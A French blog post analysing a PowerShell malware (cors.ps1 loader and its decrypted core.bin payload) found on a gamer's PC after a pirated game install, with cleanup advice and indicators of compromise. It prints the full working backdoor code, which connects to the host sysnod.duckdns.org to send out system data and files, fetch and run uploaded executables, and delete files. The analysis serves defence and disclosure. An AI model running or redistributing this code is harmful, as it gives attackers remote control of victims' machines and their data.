Hello à tous, c’est la rentré et cette été je suis tombé sur un malware PowerShell Cors.ps1, plutôt rigolo, chez un pote. Depuis que je vous ai écrit un livre sur la Cybersécurité et PowerShell, je me suis dit que c’était un bon article pour la rentrée. L’avantage c’est que je peux vous le partager, d’autant que je n’ai pas trouvé trop de littérature dessus sur les sources habituelles et que le truc à pas l’air trop connus.
En terme de vecteur d’infection, cherchez pas, c’était l’installation d’un jeu vidéo piraté :-). Comme quoi, quand on vous le dit… C’est pas bien, toussa-toussa, vous êtes des grands garçon : vous faites ce que vous voulez. Le jeu piraté marchait bien, mais se mettait à ramer comme pas possible régulièrement, pas trop après un reboot et puis ça revenait au bout de 30/60min. Pas de symptômes sur le bureau, tous les graphe CPU/GPU était à zéro dans le gestionnaire de tâche. Un peu aléatoire, mais globalement son PC fonctionnait pas très bien depuis quelques temps.
Bref, je jette un oeil avec autoruns voir ce qui démarre en tâche plannifiée avec la machine et j’en sors vite deux bien cheloux :
- Un script PowerShell
cors.ps1
dansC:\Users\$user\AppData\Roaming\Webgard
. - Un executable
System.exe
mais dans le même dossierRoaming\Logistic
.
Bref, pas trop standard dans un Windows. Je vous laisse pas sur ce suspens et je vous donne de suite le script PowerShell en question :
function Execute-EncryptedScript($path) {
trap { Write-Host -fore Red "You are not authorized to decrypt and execute this script"; continue }
& {
$raw = Get-Content $path
$key = (convertto-securestring -string "4cwmytcVVcR79VvB" -asplaintext -force)
$helper = New-Object system.Management.Automation.PSCredential("test", $key)
$key = $helper.GetNetworkCredential().Password
$secure = ConvertTo-SecureString $raw -key (([int[]][char[]]$key)[0..15]) -ea Stop
$helper = New-Object system.Management.Automation.PSCredential("test", $secure)
$plain = $helper.GetNetworkCredential().Password
Invoke-Expression $plain
}
}
Execute-EncryptedScript $ENV:AppData/Webgard/core.bin
Appréciez l’avertissement qui dit qu’on a pas le droit de déchiffrer, déjà. Ensuite, big up pour la variable $key qui fait l’effort de se stocker dans un Secure String mais qui donne la clé en dur au départ (genre planquée la un minimum quoi). Du coup et après cette rapide lecture, on se dit qu’il doit être intérréssant de récupérer le contenu du fichier core.bin.
Alors là, le script kiddie lambda se dit : « houlala, du chiffrement mais j’ai la clé. N’empêche que ca va piquer pour dev une fonction de dechiffrement sur un algo que je connais pas« . Bon en vrai il suffit de remplacer le Invoke-Expression
par Write-host
et voilà : ca vous écrira le script au lieu de l’exécuter… Voilà, voilà :-). Anti retro-ingénierie 0, antivirus/EDR bypass 1. Bref, voici le contenu de core.bin.
$spl = "<>"
$vn = "Test"
$sp= "&&&"
$hostname = "sysnod.duckdns.org"
$port = "9812"
$Path = $env:temp + "\"
$ScriptName = $MyInvocation.MyCommand.Name
$fullPathIncFileName = $MyInvocation.MyCommand.Definition
# object com
$WshShell = New-Object -comObject WScript.Shell
$Sh = New-Object -comObject Shell.Application
$Fs = New-Object -comObject Scripting.FileSystemObject
try
{
$Client = New-Object -TypeName System.Net.Sockets.TcpClient
$Client.Connect($hostname, $port)
$tcpStream = $Client.GetStream()
}
catch
{
$_.Exception.Message
}
function info {
$mch = [environment]::Machinename
$usr = [environment]::username
$SerialNumber = $Fs.GetDrive("c:\").SerialNumber
$SerialNumber = "{0:X}" -f $SerialNumber
$HWD = $SerialNumber
$wi = (Get-WmiObject Win32_OperatingSystem).Caption
$wi = $wi + (Get-WmiObject Win32_OperatingSystem).OSArchitecture
$wi =$wi.replace('64-bit',' x64').replace('32-bit',' x86').replace('?','e');
$av = (Get-WmiObject -Namespace 'root/SecurityCenter2' -Class 'AntiVirusProduct').displayname;
$nanav =""
if ($av -eq $null)
{$av = 'nan-av'}
$e = $env:windir + '\Microsoft.NET\Framework\v2.0.50727\vbc.exe';
if (test-path $e)
{$nt = '.Net YES'}
else
{$nt= '.Net NO'};
$cpu = (Get-WMIObject win32_Processor).Name;
$gpu = (Get-WMIObject win32_videocontroller).Name;
$u = 'PC' + $spl + $vn + '-' + $HWD+ $spl + $usr + $spl + $mch + $spl + $wi + $spl + $av + $spl + $nt + $spl + $cpu + $spl + $gpu + $spl + $sp;
return $u
}
Function getdriver{
$fso = New-Object -Com "Scripting.FileSystemObject"
foreach ($driv in $fso.drives ){
if ($driv.isready -eq $true ){
$drv = $drv + $driv.path + "|"
}
}
return $drv
}
Function getfolder($dir) {
[System.IO.DirectoryInfo]$directInf = New-Object IO.DirectoryInfo($dir )
$frd = $dir + '<|>'
$folders = $directInf.GetDirectories()
foreach($fd in $directInf.GetDirectories()){
$frd += $fd.Name + "|" + "" + "|" + "Folder" + "|" + '<|>'
}
$dInf = New-Object IO.DirectoryInfo($dir)
$fileEntries =[IO.FileInfo]
foreach( $fileEntries in $dInf.GetFiles("*.*"))
{
$frd += $fileEntries.Name + "|" + $fileEntries.Length + "|" + "File" + "|" + '<|>'
}
return $frd
}
#=========================================================================================
Function process-m{
$ProcRunning =Get-Process
foreach ($process in $ProcRunning)
{
$pd += $process.ProcessName+ "|" + $process.id + "|" + $process.path + '<|>'
}
return $pd
}
function CMDOS($cmd){
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class UserWindows {
[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();
}
"@
try {
$ActiveHandle = [UserWindows]::GetForegroundWindow()
$Process = Get-Process | ? {$_.MainWindowHandle -eq $activeHandle}
$Process | Select ProcessName, @{Name="concentr.exe";Expression= {($_.MainWindowTitle)}}
} catch {
Write-Error "Failed to get active Window details. More Info: $_"
}
}
while($true) {
if ($Client.Connected){
if ($tcpStream.CanRead -And $Client.Available -ge 0 ){
$buffer = New-Object -TypeName System.Byte[] $Client.ReceiveBufferSize
$read = $tcpStream.Read($buffer, 0, $Client.ReceiveBufferSize)
$PP += [System.Text.Encoding]::Default.GetString($buffer, 0,$read)
If ($PP.Contains($sp)){
$T = $PP.split($spl)
$PP =$null
}
if ($T[0] -eq 'pc') {
$message = info
$data = [System.Text.Encoding]::Default.GetBytes($message)
$tcpStream.Write($data, 0, $data.Length)
$message = $null
}
if ($T[0] -eq 'cl') {
exit
}
if ($T[0] -eq 'dis') {
$tcpStream.Dispose()
$Client.Close()
}
if ($T[0] -eq 'opr'){
$proc = process-m
$data = [System.Text.Encoding]::ASCII.GetBytes('opr'+ $spl + $proc + $sp)
$tcpStream.Write($data, 0, $data.Length)
$proc = $null
}
if ($T[0] -eq 'prc'){
$proc = process-m
$data = [System.Text.Encoding]::ASCII.GetBytes('process'+ $spl + $proc + $sp)
$tcpStream.Write($data, 0, $data.Length)
$proc = $null
}
if ($T[0] -eq 'kpr') {
stop-process -id $T[2]
}
if ($T[0] -eq 'cmd'){
$data = [System.Text.Encoding]::ASCII.GetBytes('cmd'+ $spl + $sp)
$tcpStream.Write($data, 0, $data.Length)
}
if ($T[0] -eq 'sh'){
$text = CMDOS($T[2])
$data = [System.Text.Encoding]::ASCII.GetBytes('sh'+ $spl + $text + $sp)
$tcpStream.Write($data, 0, $data.Length)
$text = $null
}
if ($T[0] -eq 'frm') {
$data = [System.Text.Encoding]::ASCII.GetBytes('frm'+ $spl + $sp)
$tcpStream.Write($data, 0, $data.Length)
}
if ($T[0] -eq 'drv') {
$drv = getdriver($T[2])
$data = [System.Text.Encoding]::ASCII.GetBytes('drv' + $spl + $drv + $spl + $sp)
$tcpStream.Write($data, 0, $data.Length)
$drv=$null
}
if ($T[0] -eq 'fld') {
$fld = getfolder($T[2])
$data = [System.Text.Encoding]::ASCII.GetBytes('fld'+ $spl + $fld + $spl + $sp)
$tcpStream.Write($data, 0, $data.Length)
$fld = $null
}
if ($T[0] -eq 'dwn') {
$content =[System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes($T[2]))
$data = [System.Text.Encoding]::ASCII.GetBytes('dwn'+ $spl + $content + $spl + $sp)
$tcpStream.Write($data, 0, $data.Length)
}
if ($T[0] -eq 'runas') {
[Diagnostics.Process]::Start($T[2])
}
if ($T[0] -eq 'up') {
[System.IO.File]::WriteAllBytes($T[2], [Convert]::Frombase64String($T[4]))
$data = [System.Text.Encoding]::ASCII.GetBytes('uF1'+ $spl + $sp)
$tcpStream.Write($data, 0, $data.Length)
$T = $null
}
if ($T[0] -eq 'uns') {
exit
}
if ($T[0] -eq 'u1') {
$data = [System.Text.Encoding]::ASCII.GetBytes('u1'+ $spl + $sp)
$tcpStream.Write($data, 0, $data.Length)
}
if ($T[0] -eq 'up1') {
[System.IO.File]::WriteAllBytes($Path + $T[2], [Convert]::Frombase64String($T[4]))
[System.Diagnostics.Process]::Start($Path + $T[2])
$data = [System.Text.Encoding]::ASCII.GetBytes('uF1'+ $spl + $sp)
$tcpStream.Write($data, 0, $data.Length)
}
#
if ($T[0] -eq 'img') {
$content =[System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes($T[2]))
$data = [System.Text.Encoding]::ASCII.GetBytes('img'+ $spl + $content + $spl + $sp)
$tcpStream.Write($data, 0, $data.Length)
$content=$null
}
if ($T[0] -eq 'rnf') {
Rename-Item $T[2] $T[4]
}
if ($T[0] -eq 'df') {
Remove-Item $T[2]
}
#...........
if ($T[0] -eq 'cvs') {
$data = [System.Text.Encoding]::ASCII.GetBytes('cvs'+ $spl + $sp)
$tcpStream.Write($data, 0, $data.Length)
}
}else {
$tcpStream.Dispose()
$Client.Close()
$Client = New-Object System.Net.Sockets.TcpClient($hostname,$port)
$tcpStream = $Client.GetStream()
$PP =$null
$T = $null
}
}else {
$tcpStream.Dispose()
$Client.Close()
$Client = New-Object System.Net.Sockets.TcpClient($hostname,$port)
$tcpStream = $Client.GetStream()
$PP =$null
$T = $null
}
Start-Sleep -m 5
}
Et voilà, ce malware PowerShell Cors.ps1 vous donne un joli reverse shell de prise de controle en PowerShell. By the end, le truc est un peu decevant, y’a pas trop d’obfucation et le résultat vous installe un bête crypto-mineur GPU. Le seul truc que j’ai trouvé sympa avec ce crypto mineur GPU, c’est qu’il arrête le minage dès qu’il voit que le task mananger est démarré. Ce qui lui évite de se faire réperer et killer trop facilement. Par contre, si vous lancer un autre programme comme gpuz.exe vous verrez votre GPU qui bourrine à 100% comme un con (et oui je vous ai dit que ca venait d’un jeu piraté, on cible des gamers donc on mine sur le GPU)
Pour le nettoyage, vous pouvez juste virer les fichiers indiqué et désactiver les tâches plannifiées en question. Je n’ai vu d’autre trâces de persistence du malware. Un petit coup d’AV par dessus ne faisant jamais de mal
Niveau risque associé, je pense c’est assez « lambda » même si le Remote Shell permet effectivement de se promener sur le système, le niveau de technicité du script n’indique pas un attaquant d’un très haut niveau là (je vous laisse regarde l’extrait d’Emotet/PowerShell Empire dans mon bouquin en comparaison). Avec un vecteur d’infection par des jeux vidéos piratés. Je crains qu’il soit plus à la recherche de numéro de carte bleu sur votre bureau que de vos données hyper-sensible et votre base de mot de passe.
Bref, rien de foufou, mais ca m’a fait marrer un peu de tomber sur un malware PowerShell. Je vous ai laissé les IoC dans le corps de l’article. Je vous renvoi vers le poster find evil du SANS si vous cherchez des trucs pas normaux.
Et sur ce : Bonne rentrée et Geekez bien pour cette nouvelle année !